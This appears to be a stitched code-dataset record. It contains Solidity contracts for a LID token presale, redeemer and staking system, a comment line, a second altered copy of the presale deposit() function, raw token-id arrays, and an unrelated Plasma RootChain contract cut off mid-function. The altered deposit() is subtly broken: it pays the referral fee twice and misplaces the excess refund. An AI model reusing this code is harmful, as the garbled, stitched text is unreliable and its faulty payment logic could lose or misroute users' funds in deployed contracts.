_bonusRangeBP, address _presale, address owner ) external initializer { Ownable.initialize(msg.sender); redeemBP = _redeemBP; redeemInterval = _redeemInterval; presale = _presale; require( _bonusRangeStart.length == _bonusRangeBP.length, "Must have equal values for bonus range start and BP" ); require(_bonusRangeStart.length <= 10, "Cannot have more than 10 items in bonusRange"); for (uint i = 0; i < _bonusRangeStart.length; ++i) { bonusRangeStart.push(_bonusRangeStart[i]); } for (uint i = 0; i < _bonusRangeBP.length; ++i) { bonusRangeBP.push(_bonusRangeBP[i]); } //Due to issue in oz testing suite, the msg.sender might not be owner _transferOwnership(owner); } function setClaimed(address account, uint amount) external onlyPresaleContract { accountClaimedTokens[account] = accountClaimedTokens[account].add(amount); } function setDeposit(address account, uint deposit, uint postDepositEth) external onlyPresaleContract { if (accountDeposits[account] == 0) totalDepositors = totalDepositors.add(1); accountDeposits[account] = accountDeposits[account].add(deposit); uint sharesToAdd; if (currentBonusIndex.add(1) >= bonusRangeBP.length) { //final bonus rate sharesToAdd = deposit.addBP(bonusRangeBP[currentBonusIndex]); } else if (postDepositEth < bonusRangeStart[currentBonusIndex.add(1)]) { //Purchase doesnt push to next start sharesToAdd = deposit.addBP(bonusRangeBP[currentBonusIndex]); } else { //purchase straddles next start uint previousBonusBP = bonusRangeBP[currentBonusIndex]; uint newBonusBP = bonusRangeBP[currentBonusIndex.add(1)]; uint newBonusDeposit = postDepositEth.sub(bonusRangeStart[currentBonusIndex.add(1)]); uint previousBonusDeposit = deposit.sub(newBonusDeposit); sharesToAdd = newBonusDeposit.addBP(newBonusBP).add( previousBonusDeposit.addBP(previousBonusBP)); currentBonusIndex = currentBonusIndex.add(1); } accountShares[account] = accountShares[account].add(sharesToAdd); totalShares = totalShares.add(sharesToAdd); } function calculateRatePerEth(uint totalPresaleTokens, uint depositEth, uint hardCap) external view returns (uint) { uint tokensPerEtherShare = totalPresaleTokens .mul(1 ether) .div( getMaxShares(hardCap) ); uint bp; if (depositEth >= bonusRangeStart[bonusRangeStart.length.sub(1)]) { bp = bonusRangeBP[bonusRangeBP.length.sub(1)]; } else { for (uint i = 1; i < bonusRangeStart.length; ++i) { if (bp == 0) { if (depositEth < bonusRangeStart[i]) { bp = bonusRangeBP[i.sub(1)]; } } } } return tokensPerEtherShare.addBP(bp); } function calculateReedemable( address account, uint finalEndTime, uint totalPresaleTokens ) external view returns (uint) { if (finalEndTime == 0) return 0; if (finalEndTime >= now) return 0; uint earnedTokens = accountShares[account].mul(totalPresaleTokens).div(totalShares); uint claimedTokens = accountClaimedTokens[account]; uint cycles = now.sub(finalEndTime).div(redeemInterval).add(1); uint totalRedeemable = earnedTokens.mulBP(redeemBP).mul(cycles); uint claimable; if (totalRedeemable >= earnedTokens) { claimable = earnedTokens.sub(claimedTokens); } else { claimable = totalRedeemable.sub(claimedTokens); } return claimable; } function getMaxShares(uint hardCap) public view returns (uint) { uint maxShares; for (uint i = 0; i < bonusRangeStart.length; ++i) { uint amt; if (i < bonusRangeStart.length.sub(1)) { amt = bonusRangeStart[i.add(1)].sub(bonusRangeStart[i]); } else { amt = hardCap.sub(bonusRangeStart[i]); } maxShares = maxShares.add(amt.addBP(bonusRangeBP[i])); } return maxShares; } } interface IStakeHandler { function handleStake(address staker, uint stakerDeltaValue, uint stakerFinalValue) external; function handleUnstake(address staker, uint stakerDeltaValue, uint stakerFinalValue) external; } interface ILidCertifiableToken { function activateTransfers() external; function activateTax() external; function mint(address account, uint256 amount) external returns (bool); function addMinter(address account) external; function renounceMinter() external; function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function isMinter(address account) external view returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract LidStaking is Initializable, Ownable { using BasisPoints for uint; using SafeMath for uint; uint256 constant internal DISTRIBUTION_MULTIPLIER = 2 ** 64; uint public stakingTaxBP; uint public unstakingTaxBP; ILidCertifiableToken private lidToken; mapping(address => uint) public stakeValue; mapping(address => int) public stakerPayouts; uint public totalDistributions; uint public totalStaked; uint public totalStakers; uint public profitPerShare; uint private emptyStakeTokens; //These are tokens given to the contract when there are no stakers. IStakeHandler[] public stakeHandlers; uint public startTime; uint public registrationFeeWithReferrer; uint public registrationFeeWithoutReferrer; mapping(address => uint) public accountReferrals; mapping(address => bool) public stakerIsRegistered; event OnDistribute(address sender, uint amountSent); event OnStake(address sender, uint amount, uint tax); event OnUnstake(address sender, uint amount, uint tax); event OnReinvest(address sender, uint amount, uint tax); event OnWithdraw(address sender, uint amount); modifier onlyLidToken { require(msg.sender == address(lidToken), "Can only be called by LidToken contract."); _; } modifier whenStakingActive { require(startTime != 0 && now > startTime, "Staking not yet started."); _; } function initialize( uint _stakingTaxBP, uint _ustakingTaxBP, uint _registrationFeeWithReferrer, uint _registrationFeeWithoutReferrer, address owner, ILidCertifiableToken _lidToken ) external initializer { Ownable.initialize(msg.sender); stakingTaxBP = _stakingTaxBP; unstakingTaxBP = _ustakingTaxBP; lidToken = _lidToken; registrationFeeWithReferrer = _registrationFeeWithReferrer; registrationFeeWithoutReferrer = _registrationFeeWithoutReferrer; //Due to issue in oz testing suite, the msg.sender might not be owner _transferOwnership(owner); } function registerAndStake(uint amount) public { registerAndStake(amount, address(0x0)); } function registerAndStake(uint amount, address referrer) public whenStakingActive { require(!stakerIsRegistered[msg.sender], "Staker must not be registered"); require(lidToken.balanceOf(msg.sender) >= amount, "Must have enough balance to stake amount"); uint finalAmount; if(address(0x0) == referrer) { //No referrer require(amount >= registrationFeeWithoutReferrer, "Must send at least enough LID to pay registration fee."); distribute(registrationFeeWithoutReferrer); finalAmount = amount.sub(registrationFeeWithoutReferrer); } else { //has referrer require(amount >= registrationFeeWithReferrer, "Must send at least enough LID to pay registration fee."); require(lidToken.transferFrom(msg.sender, referrer, registrationFeeWithReferrer), "Stake failed due to failed referral transfer."); accountReferrals[referrer] = accountReferrals[referrer].add(1); finalAmount = amount.sub(registrationFeeWithReferrer); } stakerIsRegistered[msg.sender] = true; stake(finalAmount); } function stake(uint amount) public whenStakingActive { require(stakerIsRegistered[msg.sender] == true, "Must be registered to stake."); require(amount >= 1e18, "Must stake at least one LID."); require(lidToken.balanceOf(msg.sender) >= amount, "Cannot stake more LID than you hold unstaked."); if (stakeValue[msg.sender] == 0) totalStakers = totalStakers.add(1); uint tax = _addStake(amount); require(lidToken.transferFrom(msg.sender, address(this), amount), "Stake failed due to failed transfer."); emit OnStake(msg.sender, amount, tax); } function unstake(uint amount) external whenStakingActive { require(amount >= 1e18, "Must unstake at least one LID."); require(stakeValue[msg.sender] >= amount, "Cannot unstake more LID than you have staked."); //must withdraw all dividends, to prevent overflows withdraw(dividendsOf(msg.sender)); if (stakeValue[msg.sender] == amount) totalStakers = totalStakers.sub(1); totalStaked = totalStaked.sub(amount); stakeValue[msg.sender] = stakeValue[msg.sender].sub(amount); uint tax = findTaxAmount(amount, unstakingTaxBP); uint earnings = amount.sub(tax); _increaseProfitPerShare(tax); stakerPayouts[msg.sender] = uintToInt(profitPerShare.mul(stakeValue[msg.sender])); for (uint i=0; i < stakeHandlers.length; i++) { stakeHandlers[i].handleUnstake(msg.sender, amount, stakeValue[msg.sender]); } require(lidToken.transferFrom(address(this), msg.sender, earnings), "Unstake failed due to failed transfer."); emit OnUnstake(msg.sender, amount, tax); } function withdraw(uint amount) public whenStakingActive { require(dividendsOf(msg.sender) >= amount, "Cannot withdraw more dividends than you have earned."); stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(amount.mul(DISTRIBUTION_MULTIPLIER)); lidToken.transfer(msg.sender, amount); emit OnWithdraw(msg.sender, amount); } function reinvest(uint amount) external whenStakingActive { require(dividendsOf(msg.sender) >= amount, "Cannot reinvest more dividends than you have earned."); uint payout = amount.mul(DISTRIBUTION_MULTIPLIER); stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(payout); uint tax = _addStake(amount); emit OnReinvest(msg.sender, amount, tax); } function distribute(uint amount) public { require(lidToken.balanceOf(msg.sender) >= amount, "Cannot distribute more LID than you hold unstaked."); totalDistributions = totalDistributions.add(amount); _increaseProfitPerShare(amount); require( lidToken.transferFrom(msg.sender, address(this), amount), "Distribution failed due to failed transfer." ); emit OnDistribute(msg.sender, amount); } function handleTaxDistribution(uint amount) external onlyLidToken { totalDistributions = totalDistributions.add(amount); _increaseProfitPerShare(amount); emit OnDistribute(msg.sender, amount); } function dividendsOf(address staker) public view returns (uint) { int divPayout = uintToInt(profitPerShare.mul(stakeValue[staker])); require(divPayout >= stakerPayouts[staker], "dividend calc overflow"); return uint(divPayout - stakerPayouts[staker]) .div(DISTRIBUTION_MULTIPLIER); } function findTaxAmount(uint value, uint taxBP) public pure returns (uint) { return value.mulBP(taxBP); } function numberStakeHandlersRegistered() external view returns (uint) { return stakeHandlers.length; } function registerStakeHandler(IStakeHandler sc) external onlyOwner { stakeHandlers.push(sc); } function unregisterStakeHandler(uint index) external onlyOwner { IStakeHandler sc = stakeHandlers[stakeHandlers.length-1]; stakeHandlers.pop(); stakeHandlers[index] = sc; } function setStakingBP(uint valueBP) external onlyOwner { require(valueBP < 10000, "Tax connot be over 100% (10000 BP)"); stakingTaxBP = valueBP; } function setUnstakingBP(uint valueBP) external onlyOwner { require(valueBP < 10000, "Tax connot be over 100% (10000 BP)"); unstakingTaxBP = valueBP; } function setStartTime(uint _startTime) external onlyOwner { startTime = _startTime; } function setRegistrationFees(uint valueWithReferrer, uint valueWithoutReferrer) external onlyOwner { registrationFeeWithReferrer = valueWithReferrer; registrationFeeWithoutReferrer = valueWithoutReferrer; } function uintToInt(uint val) internal pure returns (int) { if (val >= uint(-1).div(2)) { require(false, "Overflow. Cannot convert uint to int."); } else { return int(val); } } function _addStake(uint amount) internal returns (uint tax) { tax = findTaxAmount(amount, stakingTaxBP); uint stakeAmount = amount.sub(tax); totalStaked = totalStaked.add(stakeAmount); stakeValue[msg.sender] = stakeValue[msg.sender].add(stakeAmount); for (uint i=0; i < stakeHandlers.length; i++) { stakeHandlers[i].handleStake(msg.sender, stakeAmount, stakeValue[msg.sender]); } uint payout = profitPerShare.mul(stakeAmount); stakerPayouts[msg.sender] = stakerPayouts[msg.sender] + uintToInt(payout); _increaseProfitPerShare(tax); } function _increaseProfitPerShare(uint amount) internal { if (totalStaked != 0) { if (emptyStakeTokens != 0) { amount = amount.add(emptyStakeTokens); emptyStakeTokens = 0; } profitPerShare = profitPerShare.add(amount.mul(DISTRIBUTION_MULTIPLIER).div(totalStaked)); } else { emptyStakeTokens = emptyStakeTokens.add(amount); } } } // File: contracts\LidSimplifiedPresaleAccess.sol pragma solidity 0.5.16; //TODO: Replace with abstract sc or interface. mocks should only be for testing contract LidSimplifiedPresaleAccess is Initializable { using SafeMath for uint; LidStaking private staking; uint[5] private cutoffs; function initialize(LidStaking _staking) external initializer { staking = _staking; //Precalculated cutoffs = [ 500000 ether, 100000 ether, 50000 ether, 25000 ether, 1 ether ]; } function getAccessTime(address account, uint startTime) external view returns (uint accessTime) { uint stakeValue = staking.stakeValue(account); if (stakeValue == 0) return startTime.add(15 minutes); if (stakeValue >= cutoffs[0]) return startTime; uint i=0; uint stake2 = cutoffs[0]; while (stake2 > stakeValue && i < cutoffs.length) { i++; stake2 = cutoffs[i]; } return startTime.add(i.mul(3 minutes)); } } contract LidSimplifiedPresale is Initializable, Ownable, ReentrancyGuard, Pausable { using BasisPoints for uint; using SafeMath for uint; uint public maxBuyPerAddress; uint public referralBP; uint public uniswapEthBP; uint public lidEthBP; uint public uniswapTokenBP; uint public presaleTokenBP; address[] public tokenPools; uint[] public tokenPoolBPs; uint public hardcap; uint public totalTokens; bool public hasSentToUniswap; bool public hasIssuedTokens; uint public finalEndTime; uint public finalEth; IERC20 private token; IUniswapV2Router01 private uniswapRouter; LidSimplifiedPresaleTimer private timer; LidSimplifiedPresaleRedeemer private redeemer; LidSimplifiedPresaleAccess private access; address payable private lidFund; mapping(address => uint) public earnedReferrals; mapping(address => uint) public referralCounts; mapping(address => uint) public refundedEth; bool public isRefunding; modifier whenPresaleActive { require(timer.isStarted(), "Presale not yet started."); require(!isPresaleEnded(), "Presale has ended."); _; } modifier whenPresaleFinished { require(timer.isStarted(), "Presale not yet started."); require(isPresaleEnded(), "Presale has not yet ended."); _; } function initialize( uint _maxBuyPerAddress, uint _uniswapEthBP, uint _lidEthBP, uint _referralBP, uint _hardcap, address owner, LidSimplifiedPresaleTimer _timer, LidSimplifiedPresaleRedeemer _redeemer, LidSimplifiedPresaleAccess _access, IERC20 _token, IUniswapV2Router01 _uniswapRouter, address payable _lidFund ) external initializer { Ownable.initialize(msg.sender); Pausable.initialize(msg.sender); ReentrancyGuard.initialize(); token = _token; timer = _timer; redeemer = _redeemer; access = _access; lidFund = _lidFund; maxBuyPerAddress = _maxBuyPerAddress; uniswapEthBP = _uniswapEthBP; lidEthBP = _lidEthBP; referralBP = _referralBP; hardcap = _hardcap; uniswapRouter = _uniswapRouter; totalTokens = token.totalSupply(); token.approve(address(uniswapRouter), token.totalSupply()); //Due to issue in oz testing suite, the msg.sender might not be owner _transferOwnership(owner); } function deposit() external payable whenNotPaused { deposit(address(0x0)); } function setTokenPools( uint _uniswapTokenBP, uint _presaleTokenBP, address[] calldata _tokenPools, uint[] calldata _tokenPoolBPs ) external onlyOwner whenNotPaused { require(_tokenPools.length == _tokenPoolBPs.length, "Must have exactly one tokenPool addresses for each BP."); delete tokenPools; delete tokenPoolBPs; uniswapTokenBP = _uniswapTokenBP; presaleTokenBP = _presaleTokenBP; for (uint i = 0; i < _tokenPools.length; ++i) { tokenPools.push(_tokenPools[i]); } uint totalTokenPoolBPs = uniswapTokenBP.add(presaleTokenBP); for (uint i = 0; i < _tokenPoolBPs.length; ++i) { tokenPoolBPs.push(_tokenPoolBPs[i]); totalTokenPoolBPs = totalTokenPoolBPs.add(_tokenPoolBPs[i]); } require(totalTokenPoolBPs == 10000, "Must allocate exactly 100% (10000 BP) of tokens to pools"); } function sendToUniswap() external whenPresaleFinished nonReentrant whenNotPaused { require(msg.sender == tx.origin, "Sender must be origin - no contract calls."); require(tokenPools.length > 0, "Must have set token pools"); require(!hasSentToUniswap, "Has already sent to Uniswap."); finalEndTime = now; finalEth = address(this).balance; hasSentToUniswap = true; uint uniswapTokens = totalTokens.mulBP(uniswapTokenBP); uint uniswapEth = finalEth.mulBP(uniswapEthBP); uniswapRouter.addLiquidityETH.value(uniswapEth)( address(token), uniswapTokens, uniswapTokens, uniswapEth, address(0x000000000000000000000000000000000000dEaD), now ); } function issueTokens() external whenPresaleFinished whenNotPaused { require(hasSentToUniswap, "Has not yet sent to Uniswap."); require(!hasIssuedTokens, "Has already issued tokens."); hasIssuedTokens = true; uint last = tokenPools.length.sub(1); for (uint i = 0; i < last; ++i) { token.transfer( tokenPools[i], totalTokens.mulBP(tokenPoolBPs[i]) ); } // in case rounding error, send all to final token.transfer( tokenPools[last], totalTokens.mulBP(tokenPoolBPs[last]) ); } function releaseEthToAddress(address payable receiver, uint amount) external onlyOwner whenNotPaused returns(uint) { require(hasSentToUniswap, "Has not yet sent to Uniswap."); receiver.transfer(amount); } function redeem() external whenPresaleFinished whenNotPaused { require(hasSentToUniswap, "Must have sent to Uniswap before any redeems."); uint claimable = redeemer.calculateReedemable(msg.sender, finalEndTime, totalTokens.mulBP(presaleTokenBP)); redeemer.setClaimed(msg.sender, claimable); token.transfer(msg.sender, claimable); } function startRefund() external onlyOwner { //TODO: Automatically start refund after timer is passed for softcap reach pause(); isRefunding = true; } function topUpRefundFund() external payable onlyOwner { } function claimRefund(address payable account) external whenPaused { require(isRefunding, "Refunds not active"); uint refundAmt = getRefundableEth(account); require(refundAmt > 0, "Nothing to refund"); refundedEth[account] = refundedEth[account].add(refundAmt); account.transfer(refundAmt); } function updateHardcap(uint valueWei) external onlyOwner { hardcap = valueWei; } function updateMaxBuy(uint valueWei) external onlyOwner { maxBuyPerAddress = valueWei; } function deposit(address payable referrer) public payable nonReentrant whenNotPaused { require(timer.isStarted(), "Presale not yet started."); require(now >= access.getAccessTime(msg.sender, timer.startTime()), "Time must be at least access time."); require(msg.sender != referrer, "Sender cannot be referrer."); require(address(this).balance.sub(msg.value) <= hardcap, "Cannot deposit more than hardcap."); require(!hasSentToUniswap, "Presale Ended, Uniswap has been called."); uint endTime = timer.updateEndTime(); require(!(now > endTime && endTime != 0), "Presale Ended, time over limit."); require( redeemer.accountDeposits(msg.sender).add(msg.value) <= maxBuyPerAddress, "Deposit exceeds max buy per address." ); uint fee = msg.value.mulBP(referralBP); uint depositEther = msg.value; uint excess = 0; //Remove fee and refund eth in case final purchase needed to end sale without dust errors if (address(this).balance > hardcap) { fee = 0; excess = address(this).balance.sub(hardcap); depositEther = depositEther.sub(excess); } redeemer.setDeposit(msg.sender, depositEther.sub(fee), address(this).balance.sub(fee)); if (excess == 0) { if (referrer != address(0x0) && referrer != msg.sender) { earnedReferrals[referrer] = earnedReferrals[referrer].add(fee); referralCounts[referrer] = referralCounts[referrer].add(1); referrer.transfer(fee); } else { lidFund.transfer(fee); } } else { msg.sender.transfer(excess); } } function getRefundableEth(address account) public view returns (uint) { if (!isRefunding) return 0; //TODO: use account eth deposits insted once switched to referral withdraw pattern return redeemer.accountDeposits(account) .divBP(10000 - referralBP) .sub(refundedEth[account]); } function isPresaleEnded() public view returns (bool) { uint endTime = timer.endTime(); if (hasSentToUniswap) return true; return ( (address(this).balance >= hardcap) || (timer.isStarted() && (now > endTime && endTime != 0)) ); } }
Remove fee and refund eth in case final purchase needed to end sale without dust errors
function deposit(address payable referrer) public payable nonReentrant whenNotPaused { require(timer.isStarted(), "Presale not yet started."); require(now >= access.getAccessTime(msg.sender, timer.startTime()), "Time must be at least access time."); require(msg.sender != referrer, "Sender cannot be referrer."); require(address(this).balance.sub(msg.value) <= hardcap, "Cannot deposit more than hardcap."); require(!hasSentToUniswap, "Presale Ended, Uniswap has been called."); uint endTime = timer.updateEndTime(); require(!(now > endTime && endTime != 0), "Presale Ended, time over limit."); require( redeemer.accountDeposits(msg.sender).add(msg.value) <= maxBuyPerAddress, "Deposit exceeds max buy per address." ); uint fee = msg.value.mulBP(referralBP); uint depositEther = msg.value; uint excess = 0; if (address(this).balance > hardcap) { fee = 0; excess = address(this).balance.sub(hardcap); depositEther = depositEther.sub(excess); } redeemer.setDeposit(msg.sender, depositEther.sub(fee), address(this).balance.sub(fee)); if (excess == 0) { if (referrer != address(0x0) && referrer != msg.sender) { earnedReferrals[referrer] = earnedReferrals[referrer].add(fee); referralCounts[referrer] = referralCounts[referrer].add(1); referrer.transfer(fee); lidFund.transfer(fee); } msg.sender.transfer(excess); } }
556,042
[ 1, 3288, 14036, 471, 16255, 13750, 316, 648, 727, 23701, 3577, 358, 679, 272, 5349, 2887, 302, 641, 1334, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 12, 2867, 8843, 429, 14502, 13, 1071, 8843, 429, 1661, 426, 8230, 970, 1347, 1248, 28590, 288, 203, 3639, 2583, 12, 12542, 18, 291, 9217, 9334, 315, 12236, 5349, 486, 4671, 5746, 1199, 1769, 203, 3639, 2583, 12, 3338, 1545, 2006, 18, 588, 1862, 950, 12, 3576, 18, 15330, 16, 5441, 18, 1937, 950, 1435, 3631, 315, 950, 1297, 506, 622, 4520, 2006, 813, 1199, 1769, 203, 3639, 2583, 12, 3576, 18, 15330, 480, 14502, 16, 315, 12021, 2780, 506, 14502, 1199, 1769, 203, 3639, 2583, 12, 2867, 12, 2211, 2934, 12296, 18, 1717, 12, 3576, 18, 1132, 13, 1648, 7877, 5909, 16, 315, 4515, 443, 1724, 1898, 2353, 7877, 5909, 1199, 1769, 203, 3639, 2583, 12, 5, 5332, 7828, 774, 984, 291, 91, 438, 16, 315, 12236, 5349, 1374, 785, 16, 1351, 291, 91, 438, 711, 2118, 2566, 1199, 1769, 203, 3639, 2254, 13859, 273, 5441, 18, 2725, 25255, 5621, 203, 3639, 2583, 12, 5, 12, 3338, 405, 13859, 597, 13859, 480, 374, 3631, 315, 12236, 5349, 1374, 785, 16, 813, 1879, 1800, 1199, 1769, 203, 3639, 2583, 12, 203, 5411, 283, 24903, 264, 18, 4631, 758, 917, 1282, 12, 3576, 18, 15330, 2934, 1289, 12, 3576, 18, 1132, 13, 1648, 943, 38, 9835, 2173, 1887, 16, 203, 5411, 315, 758, 1724, 14399, 943, 30143, 1534, 1758, 1199, 203, 3639, 11272, 203, 203, 3639, 2254, 14036, 273, 1234, 18, 1132, 18, 16411, 30573, 12, 1734, 29084, 30573, 1769, 203, 3639, 2254, 443, 1724, 41, 1136, 273, 1234, 18, 1132, 2 ]
pragma solidity ^0.4.0; import "./Bits.sol"; import "./ByteUtils.sol"; import "./ECRecovery.sol"; import "./Eip712StructHash.sol"; import "./Math.sol"; import "./Merkle.sol"; import "./PlasmaCore.sol"; import "./PriorityQueue.sol"; import "./PriorityQueueFactory.sol"; import "./RLP.sol"; import "./ERC20.sol"; /** * @title RootChain * @dev Represents a MoreVP Plasma chain. */ contract RootChain { using Bits for uint192; using Bits for uint256; using ByteUtils for bytes; using RLP for bytes; using RLP for RLP.RLPItem; using PlasmaCore for bytes; using PlasmaCore for PlasmaCore.TransactionInput; using PlasmaCore for uint192; using PlasmaCore for uint256; /* * Storage */ uint256 constant public CHILD_BLOCK_INTERVAL = 1000; // Applies to outputs too uint8 constant public MAX_INPUTS = 4; // WARNING: These placeholder bond values are entirely arbitrary. uint256 public standardExitBond = 31415926535 wei; uint256 public inFlightExitBond = 31415926535 wei; uint256 public piggybackBond = 31415926535 wei; // NOTE: this is the "middle" period. Exit period for fresh utxos we'll double that while IFE phase is half that uint256 public minExitPeriod; address public operator; uint256 public nextChildBlock; uint256 public nextDepositBlock; uint256 public nextFeeExit; mapping (uint256 => Block) public blocks; mapping (uint192 => Exit) public exits; mapping (uint192 => InFlightExit) public inFlightExits; mapping (address => address) public exitsQueues; bytes32[16] zeroHashes; struct Block { bytes32 root; uint256 timestamp; } struct Exit { address owner; address token; uint256 amount; uint192 position; } struct InFlightExit { uint256 exitStartTimestamp; uint256 exitPriority; uint256 exitMap; PlasmaCore.TransactionOutput[MAX_INPUTS] inputs; PlasmaCore.TransactionOutput[MAX_INPUTS] outputs; address bondOwner; uint256 oldestCompetitor; } struct _InputSum { address token; uint256 amount; } /* * Events */ event BlockSubmitted( uint256 blockNumber ); event TokenAdded( address token ); event DepositCreated( address indexed depositor, uint256 indexed blknum, address indexed token, uint256 amount ); event ExitStarted( address indexed owner, uint192 exitId ); event ExitFinalized( uint192 indexed exitId ); event ExitChallenged( uint256 indexed utxoPos ); event InFlightExitStarted( address indexed initiator, bytes32 txHash ); event InFlightExitPiggybacked( address indexed owner, bytes32 txHash, uint8 outputIndex ); event InFlightExitChallenged( address indexed challenger, bytes32 txHash, uint256 challengeTxPosition ); event InFlightExitChallengeResponded( address challenger, bytes32 txHash, uint256 challengeTxPosition ); event InFlightExitOutputBlocked( address indexed challenger, bytes32 txHash, uint8 outputIndex ); event InFlightExitFinalized( uint192 inFlightExitId, uint8 outputIndex ); /* * Modifiers */ modifier onlyOperator() { require(msg.sender == operator); _; } modifier onlyWithValue(uint256 _value) { require(msg.value == _value); _; } /* * Empty, check `function init()` */ constructor() public { } /* * Public functions */ /** * @dev Required to be called before any operations on the contract * Split from `constructor` to fit into block gas limit * @param _minExitPeriod standard exit period in seconds */ function init(uint256 _minExitPeriod) public { _initOperator(); minExitPeriod = _minExitPeriod; nextChildBlock = CHILD_BLOCK_INTERVAL; nextDepositBlock = 1; nextFeeExit = 1; // Support only ETH on deployment; other tokens need // to be added explicitly. exitsQueues[address(0)] = PriorityQueueFactory.deploy(this); // Pre-compute some hashes to save gas later. bytes32 zeroHash = keccak256(abi.encodePacked(uint256(0))); for (uint i = 0; i < 16; i++) { zeroHashes[i] = zeroHash; zeroHash = keccak256(abi.encodePacked(zeroHash, zeroHash)); } } // @dev Allows anyone to add new token to Plasma chain // @param token The address of the ERC20 token function addToken(address _token) public { require(!hasToken(_token)); exitsQueues[_token] = PriorityQueueFactory.deploy(this); emit TokenAdded(_token); } /** * @dev Allows the operator to submit a child block. * @param _blockRoot Merkle root of the block. */ function submitBlock(bytes32 _blockRoot) public onlyOperator { uint256 submittedBlockNumber = nextChildBlock; // Create the block. blocks[submittedBlockNumber] = Block({ root: _blockRoot, timestamp: block.timestamp }); // Update the next child and deposit blocks. nextChildBlock += CHILD_BLOCK_INTERVAL; nextDepositBlock = 1; emit BlockSubmitted(submittedBlockNumber); } /** * @dev Allows a user to submit a deposit. * @param _depositTx RLP encoded transaction to act as the deposit. */ function deposit(bytes _depositTx) public payable { // Only allow a limited number of deposits per child block. require(nextDepositBlock < CHILD_BLOCK_INTERVAL); // Decode the transaction. PlasmaCore.Transaction memory decodedTx = _depositTx.decode(); // Check that the first output has the correct balance. require(decodedTx.outputs[0].amount == msg.value); // Check that the first output has correct currency (ETH). require(decodedTx.outputs[0].token == address(0)); // Perform other checks and create a deposit block. _processDeposit(_depositTx, decodedTx); } /** * @dev Deposits approved amount of ERC20 token. Approve must be called first. Note: does not check if token was added. * @param _depositTx RLP encoded transaction to act as the deposit. */ function depositFrom(bytes _depositTx) public { // Only allow up to CHILD_BLOCK_INTERVAL deposits per child block. require(nextDepositBlock < CHILD_BLOCK_INTERVAL); // Decode the transaction. PlasmaCore.Transaction memory decodedTx = _depositTx.decode(); // Warning, check your ERC20 implementation. TransferFrom should return bool require(ERC20(decodedTx.outputs[0].token).transferFrom(msg.sender, address(this), decodedTx.outputs[0].amount)); // Perform other checks and create a deposit block. _processDeposit(_depositTx, decodedTx); } function _processDeposit(bytes _depositTx, PlasmaCore.Transaction memory decodedTx) internal { // Following check is needed since _processDeposit // can be called on stack unwinding during re-entrance attack, // with nextDepositBlock == 999, producing // deposit with blknum ending with 000. require(nextDepositBlock < CHILD_BLOCK_INTERVAL); for (uint i = 0; i < MAX_INPUTS; i++) { // all inputs should be empty require(decodedTx.inputs[i].blknum == 0); // only first output should have value if (i >= 1) { require(decodedTx.outputs[i].amount == 0); } } // Calculate the block root. bytes32 root = keccak256(_depositTx); for (i = 0; i < 16; i++) { root = keccak256(abi.encodePacked(root, zeroHashes[i])); } // Insert the deposit block. uint256 blknum = getDepositBlockNumber(); blocks[blknum] = Block({ root: root, timestamp: block.timestamp }); emit DepositCreated( decodedTx.outputs[0].owner, blknum, decodedTx.outputs[0].token, decodedTx.outputs[0].amount ); nextDepositBlock++; } /** * @dev Starts a standard withdrawal of a given output. Uses output-age priority. Crosschecks in-flight exit existence. NOTE: requires the exiting UTXO's token to be added via `addToken` * @param _utxoPos Position of the exiting output. * @param _outputTx RLP encoded transaction that created the exiting output. * @param _outputTxInclusionProof A Merkle proof showing that the transaction was included. */ function startStandardExit(uint192 _utxoPos, bytes _outputTx, bytes _outputTxInclusionProof) public payable onlyWithValue(standardExitBond) { // Check that the output transaction actually created the output. require(_transactionIncluded(_outputTx, _utxoPos, _outputTxInclusionProof)); // Decode the output ID. uint8 oindex = uint8(_utxoPos.getOindex()); // Parse outputTx. PlasmaCore.TransactionOutput memory output = _outputTx.getOutput(oindex); // Only output owner can start an exit. require(msg.sender == output.owner); uint192 exitId = getStandardExitId(_outputTx, _utxoPos); // Make sure this exit is valid. require(output.amount > 0); require(exits[exitId].amount == 0); InFlightExit storage inFlightExit = _getInFlightExit(_outputTx); // Check whether IFE is either ongoing or finished if (inFlightExit.exitStartTimestamp != 0 || isFinalized(inFlightExit)) { // Check if this output was piggybacked or exited in an in-flight exit require(!isPiggybacked(inFlightExit, oindex + MAX_INPUTS) && !isExited(inFlightExit, oindex + MAX_INPUTS)); // Prevent future piggybacks on this output setExited(inFlightExit, oindex + MAX_INPUTS); } // Determine the exit's priority. uint256 exitPriority = getStandardExitPriority(exitId, _utxoPos); // 